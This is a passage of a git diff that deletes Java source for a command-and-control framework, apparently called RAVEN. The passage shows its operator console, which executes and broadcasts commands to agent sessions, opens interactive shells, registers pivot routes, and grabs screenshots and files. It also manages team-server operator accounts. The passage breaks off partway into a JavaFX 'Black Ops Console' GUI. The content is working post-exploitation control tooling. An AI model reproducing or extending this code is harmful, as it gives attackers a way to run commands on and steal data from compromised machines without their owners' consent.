(Time.length() > 8) Time = Time.substring(11, Math.min(19, Time.length())); - boolean IsMine = From.equals(MyName); - String ToLabel = "all".equals(To) ? "all" : "> " + To; - System.out.printf(" %s[%s] %s%s%s [%s]: %s%s%n", IsMine ? AnsiColor.Green : AnsiColor.White, Time, IsMine ? AnsiColor.Green : AnsiColor.Red, From, AnsiColor.Reset, ToLabel, Msg, AnsiColor.Reset); - } - System.out.println(); - } - - private void DoExec(int SessionId, String Command) { - if (Server == null) { - Logger.Warn("session commands unavailable in cross-process mode."); - Logger.Info("use the primary operator terminal to exec commands."); - return; - } - String Op = OperatorName != null ? OperatorName : "operator"; - String[] Result = Server.ExecuteCommand(SessionId, Command); - boolean Ok = Boolean.parseBoolean(Result[0]); - if (Ok) { - System.out.println(OutputBox(Result[1])); - AddLog(AnsiColor.Green + "session-" + SessionId + " OK" + AnsiColor.Reset, false); - } else { - Logger.Info("" + Result[1]); - AddLog(AnsiColor.Red + "session-" + SessionId + " FAIL: " + Result[1] + AnsiColor.Reset, false); - } - Db.SaveCommandLog(SessionId, Op, Command, Result[1], Ok); - } - - private void DoBroadcast(List Ids, String Command) { - if (Server == null) { - Logger.Info("broadcast unavailable in cross-process mode."); - return; - } - String Op = OperatorName != null ? OperatorName : "operator"; - System.out.printf("Broadcasting to %d session(s): %s%n", Ids.size(), Command); - Map Results = Server.BroadcastCommand(Ids, Command); - System.out.println(Box("BROADCAST RESULTS - " + Results.size() + " sessions")); - System.out.println(); - for (Map.Entry En : Results.entrySet()) { - boolean Ok = Boolean.parseBoolean(En.getValue()[0]); - System.out.printf(" %ssession-%-3d %s%s%n", Ok ? AnsiColor.Green : AnsiColor.Red, En.getKey(), Ok ? "" : "", AnsiColor.Reset); - System.out.println(OutputBox(En.getValue()[1])); - Db.SaveCommandLog(En.getKey(), Op, Command, En.getValue()[1], Ok); - } - } - - private void DoBroadcastAll(String Command) { - if (Server == null) { - Logger.Warn("unavailable in cross-process mode - use primary operator terminal"); - return; - } - int Total = Server.GetSessions().Count(); - if (Total == 0) { - Logger.Info("no active sessions"); - return; - } - String Op = OperatorName != null ? OperatorName : "operator"; - System.out.printf(" broadcasting to all %d session(s): %s%n", Total, Command); - Map Results = Server.BroadcastAll(Command); - System.out.println(Box("BROADCAST-ALL RESULTS")); - System.out.println(); - for (Map.Entry En : Results.entrySet()) { - boolean Ok = Boolean.parseBoolean(En.getValue()[0]); - System.out.printf(" %ssession-%-3d %s%s%n", Ok ? AnsiColor.Green : AnsiColor.Red, En.getKey(), Ok ? "" : "", AnsiColor.Reset); - System.out.println(OutputBox(En.getValue()[1])); - Db.SaveCommandLog(En.getKey(), Op, Command, En.getValue()[1], Ok); - } - } - - private void InteractiveSession(int SessionId) { - Optional Opt = Server.GetSessions().Get(SessionId); - if (Opt.isEmpty()) { - Logger.Warn("session not found"); - return; - } - Session S = Opt.get(); - System.out.println(Box("INTERACTIVE SESSION")); - String AgentInfo = "%n %s[%s%s%s] %sID: %s%d %sUSER: %s%s@%s %sOS: %s%s %sARCH: %s%s %sIP: %s%s" + " %sTYPE: %s%s %sKEY: %s%s%s%n"; - System.out.printf(AgentInfo, AnsiColor.Blue, AnsiColor.White, S.GetDisplayName(), AnsiColor.Blue, AnsiColor.Blue, AnsiColor.White, SessionId, AnsiColor.Blue, AnsiColor.White, S.GetUser(), S.GetHostname(), AnsiColor.Blue, AnsiColor.White, S.GetOs(), AnsiColor.Blue, AnsiColor.White, S.GetArch(), AnsiColor.Blue, AnsiColor.White, S.GetAgentIp(), AnsiColor.Blue, AnsiColor.White, S.GetSessionType(), AnsiColor.Blue, AnsiColor.White, S.GetSessionKey(), AnsiColor.Reset); - Logger.Info("type 'back' to return"); - AddLog(AnsiColor.Blue + "entered [" + S.GetDisplayName() + "] session-" + SessionId + AnsiColor.Reset, false); - BufferedReader Reader = new BufferedReader(new InputStreamReader(System.in)); - CurrentSession = SessionId; - while (CurrentSession == SessionId) { - try { - String Prompt = "%n %s[%s%s#%d%s%s]%s ~$ %s"; - System.out.printf(Prompt, AnsiColor.Blue, AnsiColor.White, S.GetDisplayName(), SessionId, AnsiColor.Blue, AnsiColor.White, AnsiColor.Blue, AnsiColor.Reset); - String Cmd = Reader.readLine(); - if (Cmd == null || Cmd.trim().isEmpty()) continue; - Cmd = Cmd.trim(); - if (Cmd.equalsIgnoreCase("back")) { - CurrentSession = -1; - Logger.Info("returned to main console"); - break; - } - if (Cmd.equalsIgnoreCase("clear")) { - SystemHelper.ClearScreen(); - continue; - } - AddLog(AnsiColor.Blue + "[" + S.GetDisplayName() + "]: " + Cmd + AnsiColor.Reset, false); - DoExec(SessionId, Cmd); - } catch (IOException E) { - break; - } - } - } - - private void KillSession(int SessionId) { - Optional Opt = Server.GetSessions().Get(SessionId); - if (Opt.isEmpty()) { - Logger.Warn("session not found"); - return; - } - String Name = Opt.get().GetDisplayName(); - Server.RemoveSession(SessionId); - System.out.printf(" session-%d [%s] terminated%n", SessionId, Name); - AddLog(AnsiColor.Green + "session-" + SessionId + " [" + Name + "] killed" + AnsiColor.Reset, false); - } - - private boolean CanManage() { - return !IsTeamServerMode || (OperatorRoles != null && OperatorRoles.CanManage()); - } - - private boolean CanKick() { - return !IsTeamServerMode || (OperatorRoles != null && OperatorRoles.CanKickOperator()); - } - - private boolean CanExec() { - return !IsTeamServerMode || (OperatorRoles != null && OperatorRoles.CanExecute()); - } - - private void ServerEventHandler(EventType Type, Map Data) { - switch (Type) { - case ServerStarted -> AddLog(AnsiColor.White + " server listening on " + Data.get("Host") + ":" + Data.get("Port") + AnsiColor.Reset, true); - case AgentConnected -> AddLog(AnsiColor.Green + " [" + Data.get("AgentName") + "] session-" + Data.get("ID") + " key: " + Data.get("SessionKey") + " (" + Data.get("OS") + ")" + AnsiColor.Reset, true); - case AgentDisconnected -> AddLog(AnsiColor.Red + " session-" + Data.get("ID") + " disconnected: " + Data.get("Reason") + AnsiColor.Reset, true); - case AgentRemoved -> AddLog(AnsiColor.White + " session-" + Data.get("ID") + " removed" + AnsiColor.Reset, false); - case Error -> AddLog(AnsiColor.Red + " Error: " + Data.get("Message") + AnsiColor.Reset, true); - } - } - - private boolean StartServer(String Host, int Port, ListenerMode Mode) { - if (IsTeamServerMode) { - synchronized (SharedServerLock) { - if (SharedServer != null && SharedServer.IsRunning()) { - Server = SharedServer; - ServerStartTime = SharedServerStartTime; - Logger.Info("Operator " + OperatorName + " joined existing server on " + Host + ":" + Port); - return true; - } - RavenServer S = new RavenServer(Host, Port, Mode, Config); - S.AddEventListener(this::ServerEventHandler); - boolean[] Result = S.StartServer(); - if (!Result[0]) { - if (IsPortBound(Host, Port)) { - Logger.Info("Operator " + OperatorName + " attached to existing listener on " + Host + ":" + Port + " (cross-process, DB-only mode)"); - ServerStartTime = Instant.now(); - AddLog(AnsiColor.White + " attached to listener on " + Host + ":" + Port + " (session commands limited in cross-process mode)" + AnsiColor.Reset, true); - return true; - } - AddLog(AnsiColor.Red + " failed to start server" + AnsiColor.Reset, true); - return false; - } - SharedServer = S; - SharedServerStartTime = Instant.now(); - Server = SharedServer; - ServerStartTime = SharedServerStartTime; - Thread T = new Thread(SharedServer::AcceptConnections, "AcceptConnections"); - T.setDaemon(true); - T.start(); - return true; - } - } - Server = new RavenServer(Host, Port, Mode, Config); - Server.AddEventListener(this::ServerEventHandler); - boolean[] Result = Server.StartServer(); - if (!Result[0]) { - AddLog(AnsiColor.Red + " Failed to start server" + AnsiColor.Reset, true); - return false; - } - ServerStartTime = Instant.now(); - Thread T = new Thread(Server::AcceptConnections, "AcceptConnections"); - T.setDaemon(true); - T.start(); - return true; - } - - private static boolean IsPortBound(String Host, int Port) { - try (java.net.ServerSocket Test = new java.net.ServerSocket()) { - Test.setReuseAddress(false); - Test.bind(new java.net.InetSocketAddress(Port)); - return false; - } catch (java.io.IOException E) { - return true; - } - } - - private void AddLog(String Msg, boolean PrintNow) { - String Times = LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss")); - String Entry = "[" + Times + "]" + Msg; - Logs.add(Entry); - if (Logs.size() > MaxLogs) Logs.remove(0); - if (PrintNow) Logger.Info(Entry); - } - - private void RunLoop() { - BufferedReader Reader = new BufferedReader(new InputStreamReader(System.in)); - int LastCnt = Logs.size(); - while (Running) { - try { - int Cur = Logs.size(); - String Prompt = " %n%s┌──{%sRAVEN@C2%s}%n%s└─%s>>%s "; - if (Cur > LastCnt) { - Logger.Info(Cur - LastCnt + " " + "new event(s) - type 'logs' to view"); - LastCnt = Cur; - } - System.out.printf(Prompt, AnsiColor.Red, AnsiColor.White, AnsiColor.Red, AnsiColor.Red, AnsiColor.White, AnsiColor.Reset); - String Input = Reader.readLine(); - if (Input == null || Input.trim().isEmpty()) continue; - String[] Parts = Input.trim().split("\\s+", 3); - String Cmd = Parts[0].toLowerCase(); - switch (Cmd) { - case "exit", "quit" -> { - Logger.Debug("shutting down server"); - Running = false; - if (IsTeamServerMode && SharedServer != null && SharedServer == Server) { - Logger.Info("teamserver session ended - server remains active"); - } else if (Server != null && Server.IsRunning()) { - Server.StopServer(); - } - if (WebPanel != null) { - WebPanel.Stop(); - WebPanel = null; - } - Db.Close(); - Logger.Shutdown(); - } - case "help" -> ShowHelp(); - case "clear" -> { - SystemHelper.ClearScreen(); - LastCnt = Logs.size(); - } - case "sessions", "agents" -> ShowSessions(); - case "status" -> ShowStatus(); - case "stats" -> ShowStats(); - case "logs" -> { - ShowLogs(); - LastCnt = Logs.size(); - } - case "use" -> { - if (Parts.length < 2) { - Logger.Info("usage: use "); - continue; - } - try { - InteractiveSession(Integer.parseInt(Parts[1])); - LastCnt = Logs.size(); - } catch (NumberFormatException E) { - Logger.Warn("invalid session ID"); - } - } - case "exec" -> { - if (!CanExec()) { - Logger.Warn("insufficient permissions"); - continue; - } - if (Parts.length < 3) { - Logger.Info("usage: exec "); - continue; - } - try { - DoExec(Integer.parseInt(Parts[1]), Parts[2]); - } catch (NumberFormatException E) { - Logger.Warn("invalid session ID"); - } - } - case "broadcast" -> { - if (!CanExec()) { - Logger.Warn("insufficient permissions"); - continue; - } - if (Parts.length < 3) { - Logger.Info("usage: broadcast "); - continue; - } - String IdsOrAll = Parts[1].toLowerCase(); - String BCmd = Parts[2]; - if (IdsOrAll.equals("all")) { - DoBroadcastAll(BCmd); - } else { - List Ids = new ArrayList<>(); - for (String S : IdsOrAll.split(",")) - try { - Ids.add(Integer.parseInt(S.trim())); - } catch (Exception Ign) {} - if (Ids.isEmpty()) Logger.Info("No valid session IDs"); - else DoBroadcast(Ids, BCmd); - } - } - case "kill" -> { - if (Parts.length < 2) { - Logger.Info("usage: kill "); - continue; - } - try { - KillSession(Integer.parseInt(Parts[1])); - } catch (NumberFormatException E) { - Logger.Warn("invalid session ID"); - } - } - case "addopt", "addoperator" -> { - if (!CanManage()) { - Logger.Warn("ADMIN/SUPER required"); - continue; - } - if (Parts.length < 3) { - Logger.Info("usage: addopt [SUPER|ADMIN|OPERATOR|MEMBER]"); - continue; - } - String[] Tok = Parts[2].split("\\s+", 2); - String OpPass = Tok[0]; - String OperatorRoles = Tok.length > 1 ? Tok[1] : "OPERATOR"; - if (Parts.length > 2 && Parts[2].contains(" ")) { - String[] Split = Parts[2].split(" ", 2); - OpPass = Split[0]; - OperatorRoles = Split[1]; - } - if (OpPass.length() < 8) { - Logger.Warn("password must be ≥ 8 chars"); - continue; - } - OperatorRole R = OperatorRole.FromString(OperatorRoles); - if (R == OperatorRole.SUPER && (this.OperatorRoles == null || !this.OperatorRoles.IsSuperAdmin())) { - Logger.Warn("only SUPER can create SUPER accounts"); - continue; - } - if (Db.CreateOperator(Parts[1], TeamDatabase.HashPassword(OpPass), R)) System.out.printf(" Operator created: %s [%s] %s%n", Parts[1], R, R.PermissionString()); - else Logger.Warn("username already exists"); - } - case "delopt", "deleteoperator" -> { - if (!CanManage()) { - Logger.Warn("ADMIN/SUPER required"); - continue; - } - if (Parts.length < 2) { - Logger.Info("usage: delopt "); - continue; - } - if (Parts[1].equalsIgnoreCase(Config.GetAdminUsername())) { - Logger.Warn("Cannot delete admin"); - continue; - } - if (Db.DeleteOperator(Parts[1])) System.out.printf(" Deleted: %s%n", Parts[1]); - else Logger.Warn("operator not found"); - } - case "kick", "kickopt" -> { - if (!CanKick()) { - Logger.Warn("SUPER role required to kick operators"); - continue; - } - if (Parts.length < 2) { - Logger.Info("usage: kick "); - continue; - } - if (Parts[1].equalsIgnoreCase(Config.GetAdminUsername()) || Parts[1].equals(OperatorName)) { - Logger.Warn("Cannot kick admin or yourself"); - continue; - } - if (Db.DeleteOperator(Parts[1])) System.out.printf(" Kicked (removed): %s%n", Parts[1]); - else Logger.Warn("operator not found"); - } - case "setrole", "changerole" -> { - if (!CanManage()) { - Logger.Warn("ADMIN/SUPER required"); - continue; - } - if (Parts.length < 3) { - Logger.Info("usage: setrole "); - continue; - } - if (Parts[1].equalsIgnoreCase(Config.GetAdminUsername())) { - Logger.Warn("Cannot change admin role"); - continue; - } - OperatorRole NR = OperatorRole.FromString(Parts[2]); - if (NR == OperatorRole.SUPER && (this.OperatorRoles == null || !this.OperatorRoles.IsSuperAdmin())) { - Logger.Warn("only SUPER can promote to SUPER"); - continue; - } - if (Db.UpdateOperatorRole(Parts[1], NR)) System.out.printf(" Role updated: %s > %s %s%n", Parts[1], NR, NR.PermissionString()); - else Logger.Warn("operator not found"); - } - case "passwd", "changepassword" -> { - if (!CanManage()) { - Logger.Warn("ADMIN/SUPER required"); - continue; - } - if (Parts.length < 3) { - Logger.Info("usage: passwd "); - continue; - } - if (Parts[2].length() < 8) { - Logger.Warn("password must be ≥ 8 chars"); - continue; - } - if (Db.UpdateOperatorPassword(Parts[1], TeamDatabase.HashPassword(Parts[2]))) System.out.printf(" Password updated: %s%n", Parts[1]); - else Logger.Warn("operator not found"); - } - case "listopt", "listoperators" -> ShowOperators(); - case "chat" -> ShowChat(); - case "chathistory", "chatlog" -> ShowChatHistory(); - case "ch" -> { - if (!IsTeamServerMode) { - Logger.Warn("not in team mode"); - continue; - } - if (Parts.length < 3) { - Logger.Info("usage: ch "); - continue; - } - SendChat(Parts[1], Parts[2]); - } - case "gc" -> { - if (!IsTeamServerMode) { - Logger.Warn("not in team mode"); - continue; - } - if (Parts.length < 3) { - Logger.Info("usage: gc "); - continue; - } - String GcTarget = Parts[1].toLowerCase(); - String GcMsg = Parts[2]; - if (GcTarget.equals("all")) { - SendChat("all", GcMsg); - } else { - for (String Name : GcTarget.split(",")) { - String N = Name.trim(); - if (!N.isEmpty()) SendChat(N, GcMsg); - } - } - } - case "webstart" -> { - String WHost = Parts.length > 1 ? Parts[1] : Config.GetWebHost(); - int WPort = Parts.length > 2 ? parseIntSafe(Parts[2], Config.GetWebPort()) : Config.GetWebPort(); - StartWebPanel(WHost, WPort); - } - case "webstop" -> StopWebPanel(); - case "webstatus" -> ShowWebStatus(); - case "note" -> { - if (Parts.length < 3) { - Logger.Info("usage: note "); - continue; - } - try { - int Sid = Integer.parseInt(Parts[1]); - Db.SetAgentNote(Sid, Parts[2]); - Logger.Info("note saved for session-" + Sid); - } catch (NumberFormatException E) { - Logger.Warn("invalid session ID"); - } - } - case "getnote" -> { - if (Parts.length < 2) { - Logger.Info("usage: getnote "); - continue; - } - try { - int Sid = Integer.parseInt(Parts[1]); - String N = Db.GetAgentNote(Sid); - System.out.printf(" Note [session-%d]: %s%s%s%n", Sid, AnsiColor.White, N.isEmpty() ? "(empty)" : N, AnsiColor.Reset); - } catch (NumberFormatException E) { - Logger.Warn("invalid session ID"); - } - } - case "history" -> { - int Sid = Parts.length > 1 ? parseIntSafe(Parts[1], 0) : 0; - int Lim = Parts.length > 2 ? parseIntSafe(Parts[2], 50) : 50; - ShowCmdHistory(Sid, Lim); - } - case "sysinfo", "info" -> { - if (Parts.length < 2) { - Logger.Info("usage: sysinfo "); - continue; - } - try { - ShowSessionInfo(Integer.parseInt(Parts[1])); - } catch (NumberFormatException E) { - Logger.Warn("invalid session ID"); - } - } - case "whoami" -> { - if (Server == null) { - Logger.Info("unavailable in cross-process mode - use primary operator" + " terminal"); - continue; - } - if (CurrentSession > 0) { - DoExec(CurrentSession, "whoami"); - } else if (Parts.length > 1) { - try { - DoExec(Integer.parseInt(Parts[1]), "whoami"); - } catch (NumberFormatException E) { - Logger.Warn("invalid session ID"); - } - } else Logger.Info("usage: whoami (or use inside an interactive" + " session)"); - } - case "sleep" -> { - if (Parts.length < 3) { - Logger.Info("usage: sleep "); - continue; - } - try { - int Sid = Integer.parseInt(Parts[1]); - DoExec(Sid, "sleep " + Parts[2]); - } catch (NumberFormatException E) { - Logger.Warn("invalid session ID"); - } - } - case "tasks" -> { - if (Server == null) { - Logger.Warn("unavailable in cross-process mode - use primary operator" + " terminal"); - continue; - } - ShowTasksQueue(); - } - case "pivot" -> { - if (Parts.length < 3) { - Logger.Info("usage: pivot "); - continue; - } - try { - int Sid = Integer.parseInt(Parts[1]); - String Target = Parts[2]; - if (!Target.contains(":")) { - Logger.Error("invalid format - use host:port (e.g." + " 192.168.1.10:4445)"); - continue; - } - String PivotHost = Target.split(":")[0]; - int PivotPort; - try { - PivotPort = Integer.parseInt(Target.split(":")[1]); - } catch (NumberFormatException Ex) { - Logger.Warn("invalid port"); - continue; - } - - String PivotNote = "[PIVOT] " + Target; - Db.SetAgentNote(Sid, PivotNote); - Db.SaveCommandLog(Sid, OperatorName != null ? OperatorName : "cli", "pivot " + Target, "Pivot route set: " + Target, true); - System.out.printf(" %sPivot route registered: session-%d > %s%s%n", AnsiColor.Green, Sid, Target, AnsiColor.Reset); - System.out.printf(" %s ℹ Use your agent to initiate connection to %s:%d%s%n", AnsiColor.White, PivotHost, PivotPort, AnsiColor.Reset); - } catch (NumberFormatException E) { - Logger.Warn("invalid session ID"); - } - } - case "screenshot" -> { - if (Parts.length < 2) { - Logger.Info("usage: screenshot "); - continue; - } - try { - DoExec(Integer.parseInt(Parts[1]), "screenshot"); - } catch (NumberFormatException E) { - Logger.Warn("invalid session ID"); - } - } - case "download" -> { - if (Parts.length < 3) { - Logger.Info("usage: download "); - continue; - } - try { - DoExec(Integer.parseInt(Parts[1]), "download " + Parts[2]); - } catch (NumberFormatException E) { - Logger.Warn("invalid session ID"); - } - } - case "upload" -> { - if (Parts.length < 4) { - Logger.Info("usage: upload "); - continue; - } - try { - String RemotePath = Parts.length > 3 ? Parts[3] : ""; - DoExec(Integer.parseInt(Parts[1]), "upload " + Parts[2] + " " + RemotePath); - } catch (NumberFormatException E) { - Logger.Warn("invalid session ID"); - } - } - default -> { - Logger.Error("Unknown command: " + Cmd); - Logger.Info("Type 'help' for available commands"); - } - } - } catch (IOException E) { - break; - } - } - } - - private WebApp WebPanel = null; - private Thread WebPanelThread = null; - - private void ShowSessionInfo(int SessionId) { - if (Server == null) { - Logger.Info("unavailable in cross-process mode - use primary operator terminal"); - return; - } - Optional Opt = Server.GetSessions().Get(SessionId); - if (Opt.isEmpty()) { - Logger.Warn("Session not found"); - return; - } - Session S = Opt.get(); - System.out.println(Box("SESSION INFO - #" + SessionId)); - System.out.println(); - System.out.printf(" %sID %s%d%n", AnsiColor.Red, AnsiColor.White, S.GetId()); - System.out.printf(" %sName %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetDisplayName()); - System.out.printf(" %sType %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetSessionType().name()); - System.out.printf(" %sHostname %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetHostname()); - System.out.printf(" %sUser %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetUser()); - System.out.printf(" %sOS %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetOs()); - System.out.printf(" %sArch %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetArch()); - System.out.printf(" %sAgent IP %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetAgentIp()); - System.out.printf(" %sKey %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetSessionKey()); - System.out.printf(" %sEncrypted %s%b%n", AnsiColor.Red, AnsiColor.White, S.IsEncrypted()); - System.out.printf(" %smTLS %s%b%n", AnsiColor.Red, AnsiColor.White, S.IsMtlsEnabled()); - System.out.printf(" %sCert CN %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetCertCn()); - System.out.printf(" %sShell Mode %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetShellMode()); - String Note = Db.GetAgentNote(SessionId); - System.out.printf(" %sNote %s%s%n", AnsiColor.Red, AnsiColor.White, Note.isEmpty() ? "(none)" : Note); - System.out.println(); - } - - private void ShowCmdHistory(int SessionId, int Limit) { - List> Hist = Db.GetCommandHistory(SessionId, Limit); - String Title = SessionId == 0 ? "COMMAND HISTORY (all sessions, last " + Limit + ")" : "COMMAND HISTORY - session-" + SessionId + " (last " + Limit + ")"; - System.out.println(Box(Title)); - System.out.println(); - if (Hist.isEmpty()) { - Logger.Info("No command history\n"); - return; - } - System.out.printf(" %s%-5s %-12s %-14s %-36s %s%s%n", AnsiColor.Red, "SID", "OPERATOR", "STATUS", "COMMAND", "TIMESTAMP", AnsiColor.Reset); - System.out.println(Divider()); - for (Map R : Hist) { - boolean Ok = Boolean.parseBoolean(R.getOrDefault("Success", "false").toString()); - String Cmd = R.getOrDefault("Command", "").toString(); - if (Cmd.length() > 36) Cmd = Cmd.substring(0, 35) + "…"; - System.out.printf(" %s%-5s %-12s %s%-14s%s %-36s %s%s%n", AnsiColor.White, R.getOrDefault("AgentId", "?"), R.getOrDefault("Operator", "?"), Ok ? AnsiColor.Green : AnsiColor.Red, Ok ? "ok" : "fail", AnsiColor.White, Cmd, R.getOrDefault("Timestamp", ""), AnsiColor.Reset); - } - System.out.println(); - } - - private void ShowTasksQueue() { - System.out.println(Box("PENDING TASKS")); - System.out.println(); - int Total = Server != null ? Server.GetSessions().Count() : 0; - System.out.printf(" %sActive sessions: %s%d%s%n", AnsiColor.Red, AnsiColor.White, Total, AnsiColor.Reset); - Logger.Info("Use 'broadcast' or 'exec' to queue commands to sessions"); - System.out.println(); - } - - private void StartWebPanel(String Host, int Port) { - if (WebPanel != null) { - System.out.printf(" %sWeb panel already running%s%n", AnsiColor.Red, AnsiColor.Reset); - return; - } - try { - WebPanel = new WebApp(Config, ActiveMode); - if (Server != null && Server.IsRunning()) { - WebPanel.AttachServer(Server, ServerStartTime); - } - WebPanel.Run(Host, Port); - System.out.printf(" %sWeb panel started > http://%s:%d/%s%n", AnsiColor.Green, Host, Port, AnsiColor.Reset); - } catch (Exception E) { - Logger.Error("Web panel start failed: " + E.getMessage()); - System.out.printf(" %sWeb panel failed: %s%s%n", AnsiColor.Red, E.getMessage(), AnsiColor.Reset); - WebPanel = null; - } - } - - private void StopWebPanel() { - if (WebPanel == null) { - System.out.printf(" %sWeb panel not running%s%n", AnsiColor.Red, AnsiColor.Reset); - return; - } - WebPanel.Stop(); - WebPanel = null; - System.out.printf(" %sWeb panel stopped%s%n", AnsiColor.Green, AnsiColor.Reset); - } - - private void ShowWebStatus() { - if (WebPanel == null) { - Logger.Info("Web Panel : " + AnsiColor.Red + "Offline" + AnsiColor.Reset); - } else { - Logger.Info("Web Panel : " + AnsiColor.Green + "Online" + AnsiColor.Reset); - } - } - - private static int parseIntSafe(String S, int Def) { - try { - return Integer.parseInt(S.trim()); - } catch (Exception E) { - return Def; - } - } - - public void Run(String Host, int Port, ListenerMode Mode) { - this.ActiveMode = Mode; - this.IsTeamServerMode = false; - if (!StartServer(Host, Port, Mode)) return; - try { - Thread.sleep(300); - } catch (InterruptedException Ign) {} - RunLoop(); - System.exit(0); - } - - public void RunTeamServer(String Host, int Port, ListenerMode Mode) throws IOException { - this.ActiveMode = Mode; - this.IsTeamServerMode = true; - BufferedReader Reader = new BufferedReader(new InputStreamReader(System.in)); - if (!TeamLogin(Reader)) return; - System.out.printf(" %n%sStarting listener on %s:%d%s%n%n", AnsiColor.Green, Host, Port, AnsiColor.Reset); - if (!StartServer(Host, Port, Mode)) return; - try { - Thread.sleep(300); - } catch (InterruptedException Ign) {} - RunLoop(); - System.exit(0); - } -} diff --git a/src/main/java/com/raven/interface/GUI/GUI.java b/src/main/java/com/raven/interface/GUI/GUI.java deleted file mode 100644 index c7ee6fb..0000000 --- a/src/main/java/com/raven/interface/GUI/GUI.java +++ /dev/null @@ -1,739 +0,0 @@ -package com.raven.interfaces.GUI; - -import com.raven.core.db.TeamDatabase; -import com.raven.core.event.EventManager.EventType; -import com.raven.core.output.Logger; -import com.raven.interfaces.GUI.module.core.database.AuthService; -import com.raven.interfaces.GUI.module.core.server.CommandDispatcher; -import com.raven.interfaces.GUI.module.core.server.ServerController; -import com.raven.interfaces.GUI.module.core.session.SessionManager; -import com.raven.interfaces.GUI.module.core.session.SessionRow; -import com.raven.interfaces.GUI.module.UI.button.ButtonFactory; -import com.raven.interfaces.GUI.module.UI.color.Palette; -import com.raven.interfaces.GUI.module.UI.frame.CardBuilder; -import com.raven.interfaces.GUI.module.UI.frame.StyleHelper; -import com.raven.interfaces.GUI.module.UI.label.LabelFactory; -import com.raven.utils.ServerConfig; -import com.raven.utils.SystemHelper; -import javafx.application.Application; -import javafx.application.Platform; -import javafx.collections.FXCollections; -import javafx.collections.ObservableList; -import javafx.geometry.Insets; -import javafx.geometry.Pos; -import javafx.scene.Scene; -import javafx.scene.control.*; -import javafx.scene.control.cell.PropertyValueFactory; -import javafx.scene.layout.*; -import javafx.scene.paint.Color; -import javafx.stage.Stage; - -import java.time.Duration; -import java.time.Instant; -import java.time.LocalDateTime; -import java.time.format.DateTimeFormatter; -import java.util.Map; -import java.util.concurrent.Executors; - -public class RavenGUI extends Application { - - private static ServerConfig Config; - private static boolean TeamMode = false; - - private AuthService Auth; - private SessionManager SessionMgr; - private ServerController ServerCtrl; - private CommandDispatcher Dispatcher; - - private final ObservableList SessionRows = FXCollections.observableArrayList(); - private final ObservableList LogEntries = FXCollections.observableArrayList(); - - private int SelectedSessionId = -1; - - private Label StatusLabel; - private Label UptimeLabel; - private Label SessionCountLabel; - private TableView SessionTable; - private TextArea TerminalOutput; - private TextArea LogOutput; - private TextField TermInputField; - private TextField CmdInputField; - private Label SelectedAgentLabel; - private Label ServerStatusLabel; - private Label ServerInfoLabel; - private TextField HostField; - private TextField PortField; - private Button StartBtn; - private Button StopBtn; - - public static void Launch(ServerConfig Cfg) { - Config = Cfg; - TeamMode = false; - Application.launch(RavenGUI.class); - } - - public static void LaunchTeamServer(ServerConfig Cfg) { - Config = Cfg; - TeamMode = true; - Application.launch(RavenGUI.class); - } - - @Override - public void start(Stage PrimaryStage) { - Auth = new AuthService(Config); - if (TeamMode && !ShowLoginDialog(PrimaryStage)) { - Platform.exit(); - return; - } - - PrimaryStage.setTitle("RAVEN"); - PrimaryStage.setWidth(1440); - PrimaryStage.setHeight(900); - PrimaryStage.setMinWidth(1100); - PrimaryStage.setMinHeight(720); - - BorderPane Root = new BorderPane(); - Root.setStyle("-fx-background-color: " + Palette.BG + ";"); - Root.setLeft(BuildSidebar(PrimaryStage)); - Root.setCenter(BuildMainContent()); - - Scene MainScene = new Scene(Root); - MainScene.getStylesheets().add( - getClass().getResource("/com/raven/interfaces/GUI/styles/css/raven.css").toExternalForm() - ); - - PrimaryStage.setScene(MainScene); - PrimaryStage.setOnCloseRequest(E -> { - if (ServerCtrl != null) ServerCtrl.Stop(); - Platform.exit(); - }); - PrimaryStage.show(); - StartUptimeTimer(); - } - - private VBox BuildSidebar(Stage Stage) { - VBox Sidebar = new VBox(); - Sidebar.setPrefWidth(240); - Sidebar.setStyle( - "-fx-background-color: linear-gradient(to bottom, #120006, #050505);" + - "-fx-border-color: transparent " + Palette.RED + " transparent transparent;" + - "-fx-border-width: 0 1.5 0 0;" - ); - - VBox Logo = new VBox(8); - Logo.setPadding(new Insets(28, 22, 18, 22)); - Logo.getChildren().addAll( - LabelFactory.Danger("◆", 38, true), - LabelFactory.Primary("RAVEN", 28, true), - LabelFactory.Muted("Black Ops Console", 10) - ); - Sidebar.getChildren().add(Logo); - Sidebar.getChildren().add(StyleHelper.HDivider()); - - VBox Meta = new VBox(12); - Meta.setPadding(new Insets(18, 22, 18, 22)); - Meta.getChildren().addAll( - BuildMiniInfo("VERSION", "3.0.0"), - BuildMiniInfo("MODE", Config.GetServerMode().toUpperCase()), - BuildMiniInfo("INTERFACE", TeamMode ? "TEAM GUI" : "SOLO GUI") - ); - VBox.setVgrow(Meta, Priority.ALWAYS); - Sidebar.getChildren().add(Meta); - - VBox Footer = new VBox(8); - Footer.setPadding(new Insets(14, 22, 18, 22)); - Footer.setStyle("-fx-border-color: " + Palette.BORDER + " transparent transparent transparent; -fx-border-width: 1;"); - StatusLabel = LabelFactory.Danger("● Offline", 11, true); - Footer.getChildren().addAll(StatusLabel, LabelFactory.Muted("MatrixTM26", 9)); - Sidebar.getChildren().add(Footer); - return Sidebar; - } - - private VBox BuildMiniInfo(String Key, String Value) { - VBox Box = new VBox(3); - Box.setPadding(new Insets(10, 12, 10, 12)); - Box.setStyle( - "-fx-background-color: rgba(255,31,61,0.08);" + - "-fx-background-radius: 12;" + - "-fx-border-color: rgba(255,31,61,0.45);" + - "-fx-border-radius: 12;" - ); - Box.getChildren().addAll(LabelFactory.Muted(Key, 8), LabelFactory.Primary(Value, 11, true)); - return Box; - } - - private BorderPane BuildMainContent() { - BorderPane Main = new BorderPane(); - Main.setStyle("-fx-background-color: " + Palette.BG + ";"); - - HBox TopBar = new HBox(); - TopBar.setPrefHeight(72); - TopBar.setAlignment(Pos.CENTER_LEFT); - TopBar.setStyle( - "-fx-background-color: linear-gradient(to right, #050505, #120006);" + - "-fx-border-color: transparent transparent " + Palette.RED 